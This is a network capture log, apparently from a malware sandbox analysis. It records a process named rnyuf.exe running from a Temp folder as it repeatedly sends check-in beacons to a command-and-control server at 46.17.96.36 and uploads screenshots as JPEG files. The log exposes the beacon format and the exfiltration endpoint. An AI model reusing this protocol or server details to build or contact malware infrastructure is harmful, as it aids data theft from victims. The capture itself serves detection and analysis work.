Aug 29, 2021 22:27:55.416043043 CEST	11136	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:55.416064978 CEST	11137	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:55.416121960 CEST	11148	OUT	Data Raw: 19 cf 51 a6 d4 97 54 2e 29 69 29 6b 53 20 a3 14 a2 92 98 84 a2 9c 28 a4 31 b4 52 d1 40 09 45 06 8a 00 4a 5c 50 68 14 86 14 51 45 3b 08 28 c5 2d 20 a0 03 14 b4 51 40 05 14 52 8a 04 25 2d 14 53 00 a2 81 47 7a 00 3b d2 d1 45 31 05 28 a4 a5 a0 02 96 Data Ascii: QT.)i)kS (1R@EJ\PhQE;(- Q@R%-SGz;E1(P(((dESZQIKLL(b;)QE(@)hBK?::8RZhhIE04ihLCSE8U\A\VaSL6 jpj,$V0#]SK>yTqK+b
Aug 29, 2021 22:27:55.416471004 CEST	11151	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:55.416670084 CEST	11153	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:55.548789024 CEST	11223	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.4	49872	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:55.386156082 CEST	11128	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:55.459954977 CEST	11204	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.4	49874	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:55.649152994 CEST	11224	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:55.719065905 CEST	11224	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.4	49875	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:56.133362055 CEST	11225	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:56.445945978 CEST	11225	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.4	49877	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:57.047902107 CEST	11226	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:57.127475977 CEST	11226	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.4	49876	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:57.362560987 CEST	11227	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1bad195bce5d33d9229615811163fb23 Host: 46.17.96.36 Content-Length: 111339 Cache-Control: no-cache
Aug 29, 2021 22:27:57.362754107 CEST	11227	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 62 61 64 31 39 35 62 63 65 35 64 33 33 64 39 32 32 39 36 31 35 38 31 31 31 36 33 66 62 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1bad195bce5d33d9229615811163fb23Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:57.363157034 CEST	11237	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:57.363504887 CEST	11240	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:57.395453930 CEST	11243	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:57.395536900 CEST	11245	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:57.395567894 CEST	11248	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:57.395832062 CEST	11253	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:57.395888090 CEST	11260	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:57.395909071 CEST	11265	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:57.427973032 CEST	11269	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:57.538789034 CEST	11341	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.4	49878	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:57.412004948 CEST	11266	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:57.490012884 CEST	11340	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49749	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:14.812544107 CEST	2528	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:14.812851906 CEST	2528	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:14.813316107 CEST	2538	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:14.813824892 CEST	2541	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:14.845769882 CEST	2546	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:14.845865011 CEST	2549	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:14.846278906 CEST	2557	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:14.846317053 CEST	2561	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:14.846329927 CEST	2566	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:14.878238916 CEST	2582	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:14.878539085 CEST	2585	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:14.988075972 CEST	2635	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.4	49879	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:58.270724058 CEST	11342	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:58.350860119 CEST	11342	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.4	49880	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:58.355581999 CEST	11343	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:58.355848074 CEST	11343	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:58.355931044 CEST	11353	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:58.355973005 CEST	11355	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:58.392261028 CEST	11375	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
